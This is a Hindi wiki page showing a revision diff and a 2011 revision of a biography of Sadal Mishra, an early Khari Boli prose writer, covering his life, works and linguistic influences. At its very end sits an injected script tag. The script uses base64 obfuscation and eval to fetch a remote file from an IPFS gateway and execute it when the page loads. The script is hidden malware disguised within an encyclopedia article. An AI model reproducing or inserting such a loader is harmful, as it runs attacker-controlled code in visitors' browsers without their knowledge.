सदल मिश्र: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 44: Line 44:
*'बरते थे', 'बाजने लगा', 'मतारी', 'जौन' आदि प्रयोग पूरबी बोली के हैं।  
*'बरते थे', 'बाजने लगा', 'मतारी', 'जौन' आदि प्रयोग पूरबी बोली के हैं।  
*इसी प्रकार 'काँदती है' (रोने के अर्थ में), 'गाँछों' (वृक्ष के अर्थ में) आदि कई शब्द बांग्ला से आ गये हैं।  
*इसी प्रकार 'काँदती है' (रोने के अर्थ में), 'गाँछों' (वृक्ष के अर्थ में) आदि कई शब्द बांग्ला से आ गये हैं।  
{{tocright}}
खड़ीबोली के आग्रह और ब्रजभाषा के संस्कार के कारण कहीं-कहीं पर शब्दों का एक नया रूप ढल गया है। 'आवते', 'जावते', 'पुरावते' आदि शब्द इसी प्रकार के हैं। इन्होंने 'और' के लिए प्राय: 'वो' का प्रयोग किया है। इनमें [[व्याकरण (व्यावहारिक)|व्याकरण]] की त्रुटियाँ भी हैं और पाण्डिताऊपन के प्रभाव से उत्पन्न होने वाली शिथिलता भी। समस्त दुर्बलताओं के बावज़ूद इनकी भाषा में आधुनिक “हिन्दी गद्य के मान्य स्वरूप का पूरा-पूरा आभास मिल जाता है। इनकी भाषा तत्सम शब्द-राशि का अधिकाधिक भार वहन करने की शक्ति की परिचायक है और परिष्कार से परिमार्जित आधुनिक हिन्दी का रूप ग्रहण कर सकती है”। इस दृष्टि से हिन्दी गद्य के विकास में सदल मिश्र जी का ऐतिहासिक महत्व है।  
खड़ीबोली के आग्रह और ब्रजभाषा के संस्कार के कारण कहीं-कहीं पर शब्दों का एक नया रूप ढल गया है। 'आवते', 'जावते', 'पुरावते' आदि शब्द इसी प्रकार के हैं। इन्होंने 'और' के लिए प्राय: 'वो' का प्रयोग किया है। इनमें [[व्याकरण (व्यावहारिक)|व्याकरण]] की त्रुटियाँ भी हैं और पाण्डिताऊपन के प्रभाव से उत्पन्न होने वाली शिथिलता भी। समस्त दुर्बलताओं के बावज़ूद इनकी भाषा में आधुनिक “हिन्दी गद्य के मान्य स्वरूप का पूरा-पूरा आभास मिल जाता है। इनकी भाषा तत्सम शब्द-राशि का अधिकाधिक भार वहन करने की शक्ति की परिचायक है और परिष्कार से परिमार्जित आधुनिक हिन्दी का रूप ग्रहण कर सकती है”। इस दृष्टि से हिन्दी गद्य के विकास में सदल मिश्र जी का ऐतिहासिक महत्व है।  
<ref>सहायक ग्रन्थ-सदल मिश्र ग्रन्थावली, बिहार राष्ट्रभाषा परिषद, [[पटना]]</ref>  
<ref>सहायक ग्रन्थ-सदल मिश्र ग्रन्थावली, बिहार राष्ट्रभाषा परिषद, [[पटना]]</ref>  
==मृत्यु==
==मृत्यु==
सदल मिश्र जी की मृत्यु लगभग सन 1847 से 1848 ई. में हुई थी।
सदल मिश्र जी की मृत्यु लगभग सन 1847 से 1848 ई. में हुई थी।
{{लेख प्रगति
{{लेख प्रगति
|आधार=
|आधार=
Line 60: Line 60:
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}
{{साहित्यकार}}
__INDEX__
[[Category:साहित्यकार]][[Category:साहित्य_कोश]]
[[Category:साहित्यकार]][[Category:साहित्य_कोश]]
[[Category:लेखक]]
[[Category:लेखक]]
__INDEX__

Revision as of 10:58, 9 January 2011

सदल मिश्र
पूरा नाम सदल मिश्र
जन्म लगभग 1767-1768 ई.
जन्म भूमि आरा, बिहार, भारत
मृत्यु 1847-1848 ई.
मृत्यु स्थान भारत
कर्म-क्षेत्र अध्यापक, गद्य लेखक
मुख्य रचनाएँ नासिकेतोपाख्यान या चन्द्रावती (1803 ई.), रामचरित (1806 ई.), फूलन्ह के बिछाने, सोनम के थम्भ, चहुँदिसि, बरते थे, बाजने लगा, काँदती है (रोने के अर्थ में), गाँछों (वृक्ष के अर्थ में)
भाषा ब्रजभाषा, पूरबी बोली, बांग्ला
अन्य जानकारी हिन्दी के पहले गद्यकार, जिनकी गद्य-शैली ही आगे चलकर हिन्दी में स्वीकृत हुई। इनके अलावा उस समय तीन और गद्यकार थे- लल्लू लालजी, इंशाअल्ला खाँ और सदासुखलाल
इन्हें भी देखें कवि सूची, साहित्यकार सूची

सदल मिश्र (जन्म- 1767-1768 ई., आरा, बिहार, भारत; मृत्यु- 1847-1848 ई., भारत) हिन्दी के पहले गद्यकार, जिनकी गद्य-शैली ही आगे चलकर हिन्दी में स्वीकृत हुई।

जीवन परिचय

सदल मिश्र बिहार प्रान्त के शाहाबाद ज़िले के ध्रवडीहा गाँव के रहने वाले शाकद्वीपीय ब्राह्मण थे। इनके पिता का नाम नन्दमणि मिश्र था। इनका जन्म अनुमानत: सन 1767 से 1768 ई. में हुआ था। यह कलकत्ता के फ़ोर्ट विलियम कॉलेज के हिन्दुस्तानी विभाग में अध्यापक थे। सदल मिश्र सदैव अस्थायी अध्यापक के रूप में ही कार्य करते रहे, क्योंकि कॉलेज के स्थायी अध्यापकों की सूची ने इनका नाम ही नहीं मिलता।

प्रमुख कृतियाँ

सदल मिश्र की दो गद्य कृतियाँ प्रसिद्ध हैं-

  1. 'नासिकेतोपाख्यान' या 'चन्द्रावती' (1803 ई.)
  2. 'रामचरित' (1806 ई.)

'नासिकेतोपाख्यान' और 'रामचरित'

'नासिकेतोपाख्यान', 'यजुर्वेद', 'कठोपनिषद' और पुराणों में वर्णित है। सदल मिश्र ने इसे स्वतंत्र रूप से खड़ीबोली गद्य में प्रस्तुत करके सर्वजन सुलभ बना दिया। इनकी वर्णनशैली मनोरंजन और काव्यात्मक है। यह नागरी प्रचारिणी सभा, काशी से प्रकाशित हो चुकी है। 'रामचरित' 'अध्यात्म रामायण' का हिन्दी रूपान्तर है। इसकी रचना गिल क्राइस्ट के आग्रह पर अरबी और फ़ारसी के शब्दों से रहित शुद्ध खड़ीबोली मे की गई है। इधर बिहार राष्ट्रभाषा परिषद ने 'सदलमिश्र ग्रन्थावली' के अंतर्गत उपर्युक्त दोनों कृतियों- 'नासिकेतोपाख्यान', 'रामचरित'-का सुन्दर संस्करण (1960 ई.) प्रकाशित किया है।

विशेष महत्व

सदल मिश्र का प्रारम्भिक खड़ीबोली गद्य लेखकों में विशेष महत्व है। रामचन्द्र शुक्ल के अनुसार “इन्होंने व्यावहारोपयोगी भाषा लिखने का प्रयत्न किया है”। श्यामसुन्दर दास ने तत्कालीन गद्य लेखकों में इंशा के बाद इनका दूसरा स्थान स्वीकार किया है। दूसरा स्थान होने पर भी इनकी भाषा परिमार्जित नहीं कही जा सकती। शब्द संघटन और वाक्य विन्यास दोनों में ही ब्रजभाषा, पूरबी बोली और बांग्ला इन तीनों का प्रभाव स्पष्ट लक्षित होता है।

  • 'फूलन्ह के बिछाने', 'सोनम के थम्भ', 'चहुँदिसि', आदि प्रयोग ब्रजभाषा के हैं।
  • 'बरते थे', 'बाजने लगा', 'मतारी', 'जौन' आदि प्रयोग पूरबी बोली के हैं।
  • इसी प्रकार 'काँदती है' (रोने के अर्थ में), 'गाँछों' (वृक्ष के अर्थ में) आदि कई शब्द बांग्ला से आ गये हैं।

खड़ीबोली के आग्रह और ब्रजभाषा के संस्कार के कारण कहीं-कहीं पर शब्दों का एक नया रूप ढल गया है। 'आवते', 'जावते', 'पुरावते' आदि शब्द इसी प्रकार के हैं। इन्होंने 'और' के लिए प्राय: 'वो' का प्रयोग किया है। इनमें व्याकरण की त्रुटियाँ भी हैं और पाण्डिताऊपन के प्रभाव से उत्पन्न होने वाली शिथिलता भी। समस्त दुर्बलताओं के बावज़ूद इनकी भाषा में आधुनिक “हिन्दी गद्य के मान्य स्वरूप का पूरा-पूरा आभास मिल जाता है। इनकी भाषा तत्सम शब्द-राशि का अधिकाधिक भार वहन करने की शक्ति की परिचायक है और परिष्कार से परिमार्जित आधुनिक हिन्दी का रूप ग्रहण कर सकती है”। इस दृष्टि से हिन्दी गद्य के विकास में सदल मिश्र जी का ऐतिहासिक महत्व है। [1]

मृत्यु

सदल मिश्र जी की मृत्यु लगभग सन 1847 से 1848 ई. में हुई थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. सहायक ग्रन्थ-सदल मिश्र ग्रन्थावली, बिहार राष्ट्रभाषा परिषद, पटना

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>